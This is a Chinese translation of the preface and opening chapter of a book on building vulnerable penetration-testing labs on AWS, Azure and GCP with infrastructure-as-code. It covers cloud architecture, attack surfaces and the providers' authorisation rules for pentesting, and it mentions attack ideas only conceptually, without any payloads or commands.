云端自动渗透测试实验室构建指南-全-
云端自动渗透测试实验室构建指南(全)
原文:
annas-archive.org/md5/a334f79c3a6685441151c41395f76b68译者:飞龙
序言
随着全球越来越多的组织将其数据和工作负载迁移到云端,工程团队以及安全专业人士面临着在生产环境中防范日益增多的与云相关的威胁和风险的复杂任务。这导致了对能够攻击和防御云应用程序和系统的安全专业人员的需求激增。寻求职业发展并希望在职业生涯中脱颖而出的安全专业人士应该学会如何在云中建立各种类型的易受攻击的实验环境,以进一步磨练他们的技能。
我写这本书是为了帮助您和其他专业人士设计、构建和自动化运行在亚马逊网络服务(AWS)、微软 Azure和谷歌云平台(GCP)上的渗透测试实验室环境。您将学习如何使用基础设施即代码(IaC)解决方案和策略自动化准备和配置云资源。您将有机会利用生成式人工智能工具的潜力,显著加速构建和自动化易受攻击的实验环境的过程。除此之外,您还将学习如何使用各种攻击性安全工具和技术来验证和测试我们基于云的实验室中的漏洞和配置错误。
通过本书,您应该能够在多个云平台上构建和自动化各种类型的渗透测试实验室,从而可以练习和尝试不同类型的攻击和技术。
本书适合对象
本书旨在面向安全工程师、云工程师和有志于学习更多有关渗透测试、云安全和基础设施自动化的安全专业人士。它强调了使用基础设施即代码解决方案以及生成式人工智能工具,加速在AWS、Azure和GCP上准备易受攻击的实验环境。如果您计划在云安全领域发展自己的职业,并希望学习如何管理在云中构建和管理黑客实验环境所涉及的复杂性、成本和风险,那么这本书适合您。
本书涵盖内容
第一章,开始使用云中的渗透测试实验室,介绍了帮助您开始构建云中渗透测试实验室的关键概念。在本章中,我们还将研究在云中构建这些易受攻击的实验环境时涉及的考虑因素和风险。
第二章,准备我们的第一个易受攻击的云实验室环境,让您通过在云中设置和配置您的第一个易受攻击的实验环境来入门。
第三章, 成功使用基础设施即代码工具和策略,详细介绍了如何使用 IaC 解决方案自动构建渗透测试实验室环境。
第四章, 在 GCP 上设置隔离渗透测试实验室环境,展示了如何使用正确配置的网络环境将脆弱的实验室资源与外部未授权攻击隔离和保护。在这个安全的网络环境中,我们将设置一个目标虚拟机实例,托管一个故意存在漏洞的 Web 应用程序,名为 OWASP Juice Shop。除此之外,我们还将启动一个攻击者虚拟机实例,并将其配置为通过浏览器访问其桌面环境。
第五章, 在 Azure 上设置隔离渗透测试实验室环境,介绍了如何在 Azure 上设置和自动化一个隔离的渗透测试实验室环境。在本章中,我们将构建一个实验室,练习容器突破技术,以便未经授权访问主机系统。此外,我们还将讨论如何滥用 Azure 中的托管身份,以获得对其他云资源的未授权访问。
第六章, 在 AWS 上设置隔离渗透测试实验室环境,重点讲解如何在 AWS 上构建和自动化隔离的渗透测试实验室环境的准备工作。在本章中,我们将准备一个实验室环境,练习可以使用初始被攻破的机器访问内部系统和网络的枢纽技术。
第七章, 设计和构建 IAM 权限提升实验室,展示了如何在 AWS 上设置一个脆弱的 IAM 权限提升实验室环境。在本章中,我们还将首次了解如何使用生成性 AI 解决方案生成代码,用于渗透测试模拟。
第八章, 设计和构建脆弱的 Active Directory 实验室,重点讲解如何在 Azure 上设置一个脆弱的 Active Directory 实验室。在这里,我们还将学习如何使用各种工具,如 Kerbrute、Impacket 和 John the Ripper,来验证和评估渗透测试实验室环境是否已正确设置和(误)配置。
第九章, 推荐的策略和最佳实践,介绍了改善和增强前几章中讨论的实验室环境的最佳实践和技术。在本章中,我们还将深入探讨如何使用生成性 AI 工具来创建 IaC 模板代码、进行基础设施成本估算和开发自动化脚本。
为了最大化本书的学习效果
你需要一个 AWS 账户、一个 Microsoft Azure 账户、一个 GCP 账户以及一个 ChatGPT(即 OpenAI)账户,并且需要稳定的互联网连接,才能完成本书中的动手实验。
| 本书中涵盖的软件/硬件 | 操作系统要求 |
|---|---|
| Chrome/Firefox/Safari/Edge/Opera(或其他替代浏览器) | Windows/macOS/Linux |
如果你使用的是本书的数字版,我们建议你自己输入代码或通过本书的 GitHub 仓库访问代码(下一节将提供相关链接)。这样做可以帮助你避免与复制粘贴代码相关的潜在错误 。
下载示例代码文件
你可以从 GitHub 下载本书的示例代码文件,链接为 github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。如果代码有更新,它会在 GitHub 仓库中更新。
我们还有其他来自丰富书籍和视频目录的代码包,可以在 github.com/PacktPublishing/ 上找到。快来看看吧!
使用的约定
本书中使用了许多文本约定。
文中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账号。例如:“确保将<ATTACKER VM PUBLIC IP ADDRESS>替换为运行terraform apply命令后得到的attacker_vm_public_ip输出值。”
代码块如下所示:
module "attacker_vm" {
source = "./attacker_vm"
}
当我们希望引起你对代码块中特定部分的注意时,相关的行或项目会以粗体显示:
module "attacker_vm" {
source = "./attacker_vm"my_public_ssh_key = var.my_public_ssh_key source_image_id = var.kali_image_id rg_location = module.secure_network.rg_02_location rg_name = module.secure_network.rg_02_name subnet = module.secure_network.subnet_02 asg = module.secure_network.asg_02 nsg = module.secure_network.nsg_02 }
粗体:表示新术语、重要词汇或屏幕上显示的词语。例如,菜单或对话框中的词汇会以粗体显示。示例:“在最后一个标签页(EC2 串行控制台)中,点击连接按钮通过 EC2 串行控制台访问实例。”
提示或重要说明
如下所示。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件与我们联系:customercare@packtpub.com,并在邮件主题中提及书名。
勘误表:尽管我们已尽最大努力确保内容的准确性,但难免会出现错误。如果你在本书中发现任何错误,我们非常感谢你向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。
盗版:如果你在互联网上发现我们的作品的非法复制版本,烦请提供该材料的地址或网站名称。请通过 copyright@packtpub.com 与我们联系,并附上该材料的链接。
如果您有兴趣成为作者:如果您擅长某个话题,并且有兴趣撰写或参与书籍的创作,请访问 authors.packtpub.com。
分享您的想法
在阅读完《云端渗透测试实验室的构建与自动化》后,我们非常希望听到您的反馈!请点击这里直接进入亚马逊的评论页面并分享您的想法。
您的评价对我们和技术社区非常重要,将帮助我们确保提供高质量的内容。
下载本书的免费 PDF 副本
感谢购买本书!
您是否喜欢在路上阅读,但又无法随身携带纸质书籍?
您的电子书购买是否与您选择的设备不兼容?
不用担心,现在购买每本 Packt 书籍,您都会免费获得该书的无 DRM PDF 版本。
在任何地方、任何设备上随时阅读。搜索、复制并将您最喜欢的技术书籍中的代码直接粘贴到您的应用程序中。
福利不仅仅是这些,您还可以获得独家的折扣、新闻通讯以及每天直接发送到您邮箱的精彩免费内容。
按照这些简单的步骤来获取福利:
- 扫描二维码或访问以下链接

packt.link/free-ebook/9781837632398
-
提交您的购买凭证
-
就是这样!我们会直接通过电子邮件向您发送免费的 PDF 和其他福利。
第一部分:易受攻击设计环境简明介绍
本部分将介绍如何在云端构建和自动化渗透测试实验室的关键概念。
本部分包含以下章节:
-
第一章,云端渗透测试实验室入门
-
第二章,准备我们的第一个易受攻击的云实验室环境
-
第三章,成功使用基础设施即代码工具和策略
第一章:开始使用云中的渗透测试实验室
随着与云相关的威胁和事件每年显著增加,对云安全专业人员的需求持续增长。为了管理学习云渗透测试和道德黑客过程中涉及的风险,安全工程师若想提升职业发展,掌握如何在云中搭建渗透测试环境将大有裨益。
在本章介绍中,我们将快速了解在云中设置渗透测试实验室的好处。我们将探讨现代云应用是如何设计、开发和部署的,因为这在接下来的章节中建立渗透测试实验室时至关重要。在本章的最后部分,我们将深入探讨在设计和构建易受攻击的云基础设施时需要考虑的若干相关因素。
话虽如此,我们将涵盖以下主题:
-
为什么要在云中构建渗透测试实验室?
-
认识云计算对网络安全格局的影响
-
探索现代云应用的设计、开发和部署方式
-
在云中构建渗透测试实验室环境时需要考虑的事项
了解这些内容后,让我们开始吧!
为什么要在云中构建渗透测试实验室?
在职业生涯的某个阶段,安全专业人员可能会建立渗透测试实验室,在一个隔离的环境中安全地练习他们的技能。此时,你可能会问自己:渗透测试实验室环境里 有什么内容呢?

图 1.1 – 渗透测试实验室示例
在图 1.1中,我们可以看到,渗透测试实验室环境只是一个受控环境,里面托管着若干个设计上存在漏洞的应用和服务。这些应用存在已知的漏洞和配置错误,利用正确的工具和技术可以加以利用。这些漏洞的设计是为了提供一个真实的环境,让渗透测试人员进行练习并模拟现实世界的攻击场景。此外,安全研究人员和渗透测试人员可以深入探索各种攻击路径,研究新的利用技术,并制定相应的对策。
在讨论在云中设置渗透测试实验室的好处之前,让我们先来讨论为什么拥有一个渗透测试实验室环境是个好主意。以下是推荐拥有渗透测试实验室环境的一些原因:
-
在专用的实验室环境中学习渗透测试可以帮助你避免法律麻烦。未经合同、同意或协议,攻击他人或公司拥有的系统是非法的。
-
鉴于渗透测试可能会破坏数据、崩溃服务器并使环境处于不稳定状态,拥有一个独立的渗透测试实验室将有助于确保生产环境不受渗透测试模拟可能产生的副作用影响。
-
我们还可以在开发自定义渗透测试工具时,利用这些实验室环境来自动化和加速渗透测试过程中的某些步骤。
-
我们还可以在这些环境中练习防御规避,通过设置各种防御机制,检测并阻止某些类型的攻击。
-
我们可以通过黑客实验室环境来教授渗透测试的基础知识,面向安全爱好者和初学者。
-
渗透测试实验室可以用来验证新披露的漏洞。这些隔离的环境还可以用来验证在应用了更新、配置更改或补丁之后,之前已知的漏洞是否已经得到修复。
既然我们已经讨论了为什么拥有渗透测试实验室环境是一个好主意,那么接下来该讨论在哪里托管这些黑客实验室了。过去,大多数安全从业人员主要在他们的本地机器上(例如,个人计算机或笔记本电脑)设置实验室环境。他们投资购买专用硬件,以便使用VirtualBox或其他虚拟化软件运行虚拟实验室环境:

图 1.2 – 在本地机器上运行渗透测试实验室环境
在图 1.2中,我们可以看到,在家庭实验室环境中,一种常见的做法是在执行测试之前创建快照(用于捕捉当前状态),因为渗透测试过程中的某些步骤可能会影响目标机器的配置和稳定性。然后,这些快照可以用来恢复设置到原始状态,从而让安全专家和研究人员能够进行一系列测试和实验,而无需担心之前测试的副作用。
注意
过去,渗透测试实验室环境中常见的目标之一是一个故意设计为脆弱的 Linux 镜像,名为Metasploitable。它包含了多个脆弱的运行服务,映射到若干个开放端口,等待被扫描和攻击。实践者会使用BackTrack Linux(现已更名为Kali Linux)设置攻击机,并配置多种工具,如Nmap和Metasploit,来攻击目标机器。
当然,在本地机器上设置一个设计脆弱的实验室环境也存在一系列挑战和限制。这些可能包括以下一种或多种情况:
-
在个人计算机或笔记本电脑上设置渗透测试实验室环境(这些设备很可能包含个人和工作文件)可能会带来意想不到的后果,因为如果黑客实验室环境设置不当,整个系统可能会被攻破。在最坏的情况下,当系统由于硬件退化或故障完全崩溃时,我们可能会失去所有文件。
-
用于实验室环境的虚拟机可能需要大量资源。因此,我们可能需要更昂贵的本地配置,以满足正在运行的虚拟机的需求。
-
设置易受攻击的实验室环境可能需要大量时间,并且可能需要先前了解所涉及的工具和应用程序。配置和准备实验室环境所需组件(如易受攻击的软件或网络设置)的过程可能非常复杂且要求很高。必须对工具及其依赖关系有深入了解,这对新手或经验有限的人来说可能是一个限制。
-
某些漏洞和配置错误可能很难进行测试,尤其是那些涉及云服务使用和存在的漏洞。
注意
在某些情况下,我们还可能遇到许可证问题,导致无法在黑客实验室环境中使用某些虚拟机、操作系统和应用程序。
为了解决上述挑战之一或多个,考虑在云中设置我们的渗透测试实验室是一个好主意。以下是在设置云渗透测试实验室时的一些优势:
-
托管在云中的实验室环境可能更接近实际在云中部署的生产环境的样子。
-
通过在云中运行我们的黑客实验室环境几小时,并在测试和实验结束后删除(或关闭)云资源,我们可以显著管理成本。
-
自己设置云实验室环境将帮助我们更深入地理解渗透测试实验室环境中部署的云资源的实施和安全配置。
-
在云中扩展易受攻击的实验室环境更为容易,因为资源可以立即提供,我们无需担心硬件的先决要求。
-
某些攻击在本地难以模拟,但在云环境中执行起来相对简单(例如,针对云函数及其他无服务器资源的攻击)。
-
在云中设置复杂的实验室环境可能会借助自动化工具、框架和服务变得更快速。
-
我们无需担心存储在本地计算机上的个人和工作文件被删除或盗取。
-
在云中部署的黑客实验室环境中,更容易让多个用户练习渗透测试。
注意
除了这些,学习渗透测试在云中可以更快。首先,下载大文件和设置易受攻击的虚拟机在云中会显著更快。除此之外,重建云环境通常更容易,因为有多种选项可以重新创建和重建这些实验环境。
到此为止,我们应该知道为什么在云中构建渗透测试实验环境是一个很棒的主意!在接下来的部分,我们将快速讨论云计算是如何影响并塑造现代网络安全格局的。
认识到云计算对网络安全格局的影响
过去,公司必须主要在自己的数据中心托管应用程序。由于管理自有数据中心的运营开销,大多数企业已经考虑将数据和工作负载迁移到云中。有些组织将所有的应用程序和数据迁移到了云中,而其他则使用混合云架构将应用程序托管在本地数据中心和云中。云计算使得公司能够做到以下几点:
-
确保持续运营:云中的高可用性确保应用程序和服务即使在发生故障或中断的情况下仍然可访问和运行。通过利用云服务提供商提供的冗余和容错架构,可以将停机时间降到最低,并保持对资源的不间断访问。
-
节省资金:不需要投资硬件基础设施即可开始使用,因为云资源可以在几秒钟或几分钟内创建和删除。除此之外,云平台通常采用按需付费的模型来使用云资源。
-
轻松管理应用程序工作负载:云中的应用程序工作负载可以远程管理。此外,资源可以根据业务需求轻松扩展或缩减。
-
轻松管理数据:由于云环境中提供了各种服务、功能和能力,数据管理变得更加流畅和方便。此外,云提供的几乎无限的存储容量消除了处理大文件时的顾虑。这种增强的数据管理能力有助于提高企业的效率和可扩展性。
-
自动化相关流程:在云中构建自动化的管道和工作流变得更容易,因为大多数云服务可以通过应用程序编程接口(APIs)和软件开发工具包(SDKs)进行管理。
随着越来越多的公司将数据存储在云中,过去几年云攻击显著增加。由于云计算的兴起,攻击面发生了变化,与此同时,攻击的类型也发生了变化。黑客可以利用易受攻击和配置错误的云资源,这可能导致存储在云中的敏感数据被窃取。
我们说的攻击面是什么意思?
攻击面是指系统内一组潜在的脆弱点,攻击者可以利用这些脆弱点进行攻击。它包括多个元素,包括网络接口、API、用户访问点、操作系统和已部署的云资源。理解和管理攻击面对于评估和减轻云中的安全风险至关重要,因为它可以帮助组织识别并解决可能被恶意行为者利用的弱点。
有鉴于此,以下是有关基于云的数据和应用程序的相关网络攻击的简要列表:
-
针对易受攻击的应用服务器和配置错误的云存储资源的攻击:针对易受攻击和配置错误的云资源(如 API、虚拟机、CI/CD 管道和存储资源)的攻击已导致全球范围内的严重数据泄露。被窃取的身份和信息常用于身份盗窃和钓鱼攻击。
-
云中的勒索软件攻击:存储在云中的敏感数据不断成为黑客的攻击目标。勒索软件的受害者通常被要求支付比特币或其他加密货币作为赎金。比特币和其他加密货币使用户能够保持匿名。这与其他技术一起,使得当局很难追踪勒索软件黑客。
-
云账户劫持:一旦黑客接管了一个组织的云账户,黑客就可以自由地创建资源、访问敏感文件,并使用账户内的资源攻击其他公司和账户。
-
分布式拒绝服务(DDoS)和钱包拒绝服务(DoW)攻击:在 DDoS 攻击中,攻击者试图通过生成的流量淹没和冲击已部署的云资源,使在线服务不可用。在 DoW 攻击中,使用类似的技术造成财务损失(由于巨额账单)。
多年来,随着云安全威胁的发展和蔓延,专注于云安全的工具数量和质量不断增加。随着每年披露的漏洞数量增加,更多的安全工具和实用程序也变得可用。这些工具从简单的脚本到复杂的框架和模块不等,可以根据攻击者的需求进行配置。安全专业人士也见证了工具和产品的演变。在过去,云安全产品需要由公司内部团队进行安装和设置。近年来,越来越多的托管云工具和服务变得可用,其中大多数可以在最小的配置下立即使用。以下是一些最新的云安全解决方案:
-
各种攻击性安全云工具和框架
-
无代理虚拟机漏洞评估工具
-
容器镜像漏洞评估工具
-
无服务器计算资源的漏洞评估工具和服务
-
基于机器学习的代码安全扫描工具和服务
-
云网络安全审计工具
-
托管云防火墙
-
托管的云威胁检测服务
-
基于人工智能的安全工具
到目前为止,我们应该对云计算如何塑造和影响网络安全格局有了更好的理解。在下一节中,我们将深入探讨现代应用程序如何在云中设计、开发和部署。
探索现代云应用程序如何设计、开发和部署
在构建渗透测试实验室时,主要目标之一是准备一个按设计漏洞构建的环境,模拟真实的云环境。也就是说,我们必须对现代云应用程序的架构有充分的了解,这将使我们具备构建符合需求的环境所需的知识。
多年前,大多数部署在云中的应用程序是作为单体应用程序设计和开发的。这意味着应用程序的前端、后端和数据库层一起构建,作为一个单一的逻辑单元。大多数时候,多个开发人员会在同一个项目的代码库中工作。此外,整个应用程序以及数据库,很可能会作为一个单元一起部署在同一服务器或虚拟机中(类似于图 1.3中简化的示意图):

图 1.3 – 单体应用程序的部署(简化版)
从安全的角度来看,能够获得root 访问权限的攻击者,很可能能够访问并窃取存储在同一虚拟机上运行的数据库中的敏感信息。
我们所说的 root 访问权限是什么意思?
Root 访问是指拥有完全的管理员权限和对计算机系统或虚拟机的无限制控制。它授予用户最高级别的访问权限和操作权限,使其能够修改系统文件、安装或卸载软件,并执行通常限制其他用户执行的操作。在安全性方面,如果攻击者获得了托管应用服务器的虚拟机的 root 访问权限,这意味着他们已完全控制了该系统。这可能导致未经授权访问存储在同一机器上的数据库中的敏感数据。
当然,仍然有一些现代应用程序由于具有这种架构的好处,而仍然被设计和架构为单体应用程序。然而,正如我们很快会看到的那样,世界各地的更多团队正在选择从分布式微服务架构开始,而不是单体架构。单体架构的一个显著缺点是,当更多用户开始使用系统时,开发团队可能会面临无法扩展应用程序特定层的问题。一旦应用程序开始变慢,团队可能会选择对运行应用程序的虚拟机进行垂直扩展。通过垂直扩展,通过升级硬件或添加更强大的机器来增加单个服务器的资源,如 CPU 和 RAM。这种方法通过增强服务器的能力来使服务器处理更高的工作负载和需求。相比之下,水平扩展则是通过增加更多的服务器来分担负载,让每个服务器处理部分整体流量。由于垂直扩展通常比水平扩展长期成本更高,因此云架构师建议采用分布式多层架构,因为水平扩展只涉及扩展托管需要扩展的应用组件的基础设施资源。
例如,在分布式电子商务应用程序中,系统可以通过为 Web 服务器、应用服务器和数据库设计独立的层次,而不是对单个单体服务器进行垂直扩展以处理增加的用户流量。通过分离不同的层次,可以根据每一层的具体资源需求独立地扩展每一层。例如,应用服务器层可以水平扩展以处理增加的用户流量,而数据库层则可以垂直扩展以满足日益增长的数据存储需求。这样,当流量激增时,基础设施可以通过增加更多的 Web 服务器进行水平扩展,从而提供更具成本效益和可扩展的解决方案。

图 1.4 – 自动扩展设置
此外,分布式多层架构能够轻松支持资源的自动缩放,这得益于其固有的架构设计。这种灵活性允许系统在无需人工干预的情况下自动调整资源分配,确保最佳的性能和资源利用率。如果应用程序接收到的流量波动较大或不可预测,云架构师可能会考虑为应用程序的特定层设置自动缩放机制,以确保承载应用程序的基础设施资源不会被闲置使用。
注
安全专业人员必须考虑到,自动缩放设置的缩减操作可能会在应用程序接收到的流量下降时自动删除资源。需要注意的是,配置错误或不完整的自动缩放实施通常没有在生产环境中正确配置推荐的日志轮转设置。这将使调查变得更加困难,因为存储在受损基础设施资源或服务器中的日志可能会在自动缩减操作过程中被删除。
到目前为止,我们应该已经对初始的云应用程序设计和部署有了清晰的了解。快速跳转到现在,现代应用程序可能是这样的:

图 1.5 – 现代云架构的样子
哇!情况发展得太快了! 在图 1.5中,我们可以看到,除了前面讨论的内容之外,现代应用程序架构还可能包括以下一项或多项内容:
-
使用基础设施即代码(IaC)解决方案来自动化云资源的配置:在构建现代云应用程序时,组织可以利用 IaC 解决方案来简化云资源的配置。例如,他们可能会使用像 Terraform 或 AWS CloudFormation 这样的工具,在代码中定义基础设施要求,从而自动化虚拟机、存储、网络和负载均衡器等资源的配置。
-
使用托管容器服务来简化 Kubernetes 集群的管理:公司可能选择使用托管容器服务来简化 Kubernetes 集群的管理。例如,他们可以选择云平台提供的托管 Kubernetes 服务,该服务将处理集群的配置、扩展和监控等任务。这使得公司能够专注于应用程序的开发和部署,而无需管理底层的 Kubernetes 基础设施。
-
持续集成和持续部署(CI/CD)流水线:公司可以设置 CI/CD 流水线,自动化集成代码更改、运行测试以及将应用程序部署到云端的过程。开发人员将代码更改提交到版本控制系统,触发自动化构建过程,该过程编译代码、运行测试并生成工件。CI/CD 流水线随后会将应用程序部署到预生产环境进行进一步测试,并在成功验证后,自动将其推广到生产环境。
-
函数即服务(FaaS)资源:实施现代云应用的组织可以将 FaaS 资源作为其解决方案的一部分。例如,他们可能会设计应用程序,利用无服务器函数来处理特定任务或工作流。通过将应用程序分解为更小、更独立的函数,公司可以实现更大的可扩展性、减少操作开销并提高资源利用率。
-
供 Web 和移动应用使用的 API:公司可以采用微服务架构,在这种架构下,设计并暴露 API 供 Web 和移动应用使用。在这种情况下,公司会开发封装特定功能并暴露清晰定义 API 的独立微服务。这些 API 随后将被 Web 和移动应用使用。通过这种设置,前端客户端与后端服务之间的通信和交互将无缝进行。
-
使用托管防火墙和负载均衡器:组织可以利用云提供商提供的现有托管防火墙服务和解决方案,从而在网络层定义并执行安全策略。此外,他们还可以使用负载均衡器服务,将传入流量分配到多个应用程序实例上。这有助于确保现代云系统的可扩展性和高可用性,同时无需管理这些托管云资源的底层基础设施和操作系统。
-
使用人工智能(AI)和机器学习(ML)服务:实施现代云应用的公司可以通过利用预训练模型和 API,利用 AI 和 ML 驱动的服务。例如,他们可以使用 AI 服务进行情感分析,以分析客户反馈并改善用户体验。此外,他们还可以使用托管的 ML 服务进行预测分析,以增强应用程序中的决策过程。
随着更多公司将工作负载迁移到云端,全球范围内使用托管服务的趋势也在不断增长。云平台提供的托管服务逐渐取代了公司内部系统管理员团队手动维护的系统中特定的组件。例如,公司现在使用像Google Cloud Pub/Sub这样的托管服务,而不是自己搭建像 RabbitMQ 这样的消息传递系统。这种方式使得企业可以将宝贵的时间和资源集中用于其他重要的业务需求。
使用托管服务时,大部分维护工作由云平台处理和自动化,而不是由公司内部的团队成员负责。以下是使用托管服务的一些优势:
-
在使用托管服务时,服务器安全补丁和操作维护工作由云平台内部处理。这使得公司内部团队成员能够将宝贵的时间用于其他重要需求。一个很好的例子是
Amazon SageMaker,数据科学家和机器学习工程师可以集中精力训练和部署机器学习模型,而无需担心手动维护任务。 -
使用托管服务时,扩展通常更为容易,因为资源启动可以通过 API 调用或用户界面轻松修改和扩展。在某些情况下,资源甚至可以轻松配置自动扩展。以
Azure Kubernetes Service(AKS)为例,它可以轻松扩展资源,并调整集群中运行的 pod 数量。 -
通常,部署的云资源已经安装了可靠的监控和管理工具。此外,与同一云平台的其他服务的集成是无缝的,并且可以立即使用。同时,托管的云服务和资源通常具有内置的实用自动化功能,可以立即使用。
注意
安全专业人员需要清楚了解使用托管服务时哪些是可能的,哪些是不可能的。例如,我们无法访问某些托管服务的底层操作系统,因为这些服务是按这种方式设计和实现的。一个很好的例子是 AWS 云平台的托管NAT Gateway。此外,安全专业人员还需要了解使用托管服务时可能的其他机制。例如,在 Amazon Aurora(一种为云端构建的关系型数据库管理系统)中,我们还可以选择使用无密码认证,通过身份和访问管理(IAM)角色进行身份验证。这意味着,如果攻击者设法获取了具有正确权限集的 AWS 凭证,即使没有数据库的用户名和密码,也可以访问和修改数据库记录。
近几年,容器的使用量显著增加。如果你在疑惑什么是容器,容器实际上是轻量级的、隔离的环境,用来打包应用程序及其依赖项,以确保一致性和可移植性。另一方面,容器镜像作为自包含的可执行包,包含运行特定应用程序所需的文件和配置。企业选择容器是因为它们提供了更快的启动时间,并且可以在一台虚拟机中托管多个容器,确保在不同开发阶段中的一致性环境。最初,企业在生产环境中使用Docker容器进行部署时有所犹豫。然而,由于Kubernetes、Docker Compose以及其他类似容器框架的最新进展和生产就绪工具的发布,全球越来越多的公司开始使用容器来托管应用程序。
到现在,你可能会想,使用容器的优势是什么? 下面是一些公司选择使用容器的原因:
-
从容器镜像启动新容器通常比从镜像创建新虚拟机和服务器更快。这是因为容器利用轻量级虚拟化技术,并共享主机系统的操作系统,使得它们能够快速启动,而无需启动完整的操作系统。此外,容器仅需要与应用程序相关的必要依赖项和库,因此镜像体积较小,部署时间更短。
-
我们可以在一台虚拟机中运行多个容器。能够在虚拟机内运行多个容器,在资源利用和可扩展性方面提供了显著的优势。每个容器独立运行,可以将进程和服务隔离开,同时共享虚拟机的底层资源。这使得计算资源得到了高效的利用,因为多个容器可以在同一硬件上并行运行,从而优化了 CPU、内存和存储的使用。
-
使用容器可以在不同环境中实现无缝的一致性,例如本地开发、预发布和生产环境。通过容器化,开发人员可以打包所有必需的依赖项和配置,确保应用程序在这些环境中运行一致。这种方法促使开发人员在早期就考虑环境的一致性,从而能够在开发生命周期的早期发现并解决任何兼容性或部署问题,进而实现更顺畅的部署,减少与环境相关的错误发生的机会。
除此之外,如今越来越多的托管云服务已支持自定义容器环境的使用,这为开发者提供了所需的灵活性,同时确保维护工作最小化。通过利用这些托管云服务,开发者可以专注于应用程序开发和创新,同时减轻基础设施维护的负担,确保容器化应用程序的最佳性能、可扩展性和安全性。
注
想象一家正在开发基于微服务的应用程序的公司。通过利用容器,他们可以将每个微服务封装在自己的容器中,从而实现独立的开发、测试和部署。这种模块化的方法使团队能够独立迭代和更新特定的服务,而不影响整个应用程序堆栈。此外,容器还可以随着需求的波动实现无缝扩展。当应用程序流量增加时,容器编排平台(如 Kubernetes)会自动启动所需容器的额外实例,以确保最佳性能和资源利用率。这种可扩展性使企业能够高效地处理峰值负载,而无需过度配置基础设施。
话虽如此,鉴于容器日益普及,深入了解容器安全是至关重要的。容器带来了独特的安全挑战,必须加以解决,以保护应用程序和数据。通过实施有效的容器安全措施,组织可以减少风险(例如未经授权的访问、数据泄露和容器突破),从而确保关键系统和敏感信息的安全。
与容器类似,过去几年中,FaaS 服务的使用也显著增加。主要云平台提供的 FaaS 选项,包括 AWS Lambda Functions、Azure Functions 和 Google Cloud Functions,允许开发者和工程师在隔离的环境中部署和运行自定义应用程序代码,而无需担心服务器管理。以前,开发者必须处理服务器的配置和配置工作。然而,随着无服务器函数的出现,开发者可以专注于编写和部署自定义应用程序代码,而不必担心基础设施,从而实现更高效、更精简的开发过程。这一转变使得快速迭代、可扩展部署和减少运营开销成为可能,极大地简化了开发者的工作。通过结合事件驱动架构的其他构建块,开发者可以将复杂的应用程序代码分割成更小、更易于管理的组件。为了更好地理解这些服务的工作原理,下面我们快速讨论一些常见的云函数特点:
-
自动化的上下扩展
-
按需付费模式
-
每次调用函数时,运行时环境会被创建并删除
-
无需维护,因为云平台会处理维护工作
-
存在资源限制,包括最大执行时间、内存、存储和代码包大小
-
函数由事件触发
重要说明
FaaS 和 无服务器计算 这两个术语有时被专业人士交替使用。然而,它们是两个不同的概念。FaaS 主要关注的是拥有一个平台,用于加速应用代码功能的开发和部署。另一方面,无服务器计算是指云计算执行模型,通常以事件驱动架构、托管服务以及按使用量计费为特征。也就是说,完全可以在不使用 FaaS 服务的情况下实现无服务器应用(例如,使用云存储服务的静态网站托管功能托管的仅前端的单页应用(SPA))。
这与云安全和渗透测试有何关系? 云函数的设计和实现直接影响专业人员的攻防安全策略。开发者和工程师需要确保部署在云函数中的代码能够防范各种注入攻击。例如,创建一个文件并将其保存在存储桶中,而文件名中包含恶意负载,可能会在事件触发云函数时导致命令执行。除此之外,安全专家还必须找到在处理云函数时维持持久性的替代方法(即使在成功突破后),因为运行时环境会在几秒钟内创建和删除。
到此为止,你应该对现代云应用的样子有了很好的了解!这一部分我们还可以讨论更多内容,但目前这些足够了。通过我们迄今为止所学的内容,我们现在可以深入探讨在设计和构建云中的渗透测试实验环境时需要考虑的事项。
在云中构建渗透测试实验环境时需要考虑的事项
在本书接下来的章节中,我们将设计并构建多个具有设计漏洞的云实验室。每次设置完实验室环境后,我们将模拟渗透测试过程,以验证存在的漏洞是否可以被利用。在我们在云环境中执行渗透测试前,我们必须了解以下事项:
-
哪些活动是无需通知或授权即可进行的
-
攻击流量是否会经过公共互联网
-
我们是否会进行网络压力测试
-
我们的渗透测试实验环境是什么样的
-
我们将在环境中执行哪些活动
-
无论我们是在测试服务器内部应用的安全性,还是在测试云服务配置的安全性
除此之外,我们还必须了解云平台禁止的活动和操作。以下是一些在云环境中不允许的例子:
-
对云平台的员工进行社交工程攻击
-
攻击资源并尝试访问其他账户拥有者和用户的数据
-
以违反平台的可接受使用政策和服务条款的方式使用云服务
请注意,针对每个云平台的相关文档页面中有一长串禁止的行为和活动。你可以在接下来的页面以及本章的进一步阅读部分找到相关资源链接。
当需要时,我们还必须通知并联系云平台的相关支持和安全团队。这将确保我们不会违反任何规则,尤其是当我们不确定或是第一次在云中进行渗透测试时。
注意
最佳做法是提前通知云平台以获得授权和批准。在某些情况下,可能不需要批准或通知,但在进行渗透测试前向支持团队提交工单不会有什么坏处。
有时,你可能会认为你不再需要从云服务提供商那里获得授权,因为你的渗透测试会“不会损害其他客户”。然而,情况并非总是如此,因为可能存在仍然需要获得云服务提供商授权的操作。图 1.6展示了 AWS 上渗透测试实验室环境的示例:

图 1.6 – 渗透测试实验室环境设置示例
该实验室环境包含以下组件:
-
一个位于 VPC 内的攻击者机器,阻止所有外向连接
-
一个包含易受攻击应用和服务的目标机器
-
一个 VPC 对等连接,允许攻击者和目标 EC2 实例所在的 VPC 之间进行流量传输(这样攻击流量就会经过此 VPC 对等连接)
-
一个通过 Private Link 访问的 S3 存储桶,里面包含文件
在 EC2 实例中运行的应用程序进行渗透测试无需批准。另一方面,除非获得 AWS 的批准,否则在 AWS 账户中对您自己的 S3 桶进行渗透测试是被禁止的。为什么? 对您拥有的 S3 桶进行渗透测试与对托管在 S3 上的应用程序进行渗透测试有所不同。在对 Amazon S3 及其他未列在渗透测试客户服务政策中的许可服务下的服务进行渗透测试模拟之前,您必须填写模拟事件表格并提供必要的信息以获得 AWS 的授权。请确保在对 AWS 进行渗透测试之前查看以下链接:
-
AWS 渗透测试客户支持政策、客户服务政策、其他模拟 事件:
aws.amazon.com/security/penetration-testing/ -
Amazon EC2 测试 政策:
aws.amazon.com/ec2/testing/ -
DDoS 模拟测试 政策:
